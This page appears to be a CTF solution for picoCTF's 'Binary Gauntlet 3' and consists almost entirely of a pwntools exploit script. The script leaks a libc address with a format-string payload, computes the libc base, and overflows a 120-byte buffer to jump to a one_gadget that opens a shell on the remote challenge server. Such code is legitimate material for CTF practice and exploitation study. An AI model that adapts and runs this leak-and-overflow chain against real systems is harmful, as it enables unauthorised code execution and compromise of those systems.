Skip to content

Binary Gauntlet 3

#!/usr/bin/env python3

from pwn import *

exe = ELF("./gauntlet_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

gdb_script = '''
b main
b strcpy
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("wily-courier.picoctf.net", 63301)

    return r


def main():
    r = conn()
    offset = 120
    leak = 23
    diff = 0x21c87
    one_gadget = 0x4f2a5

    r.sendline(f"%{leak}$p")
    leak_addr = int(r.recvline().strip(b'\n'), 16)
    base_libc = leak_addr - diff

    payload = b"A"*120
    payload += p64(base_libc + one_gadget)
    r.sendline(payload)


    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()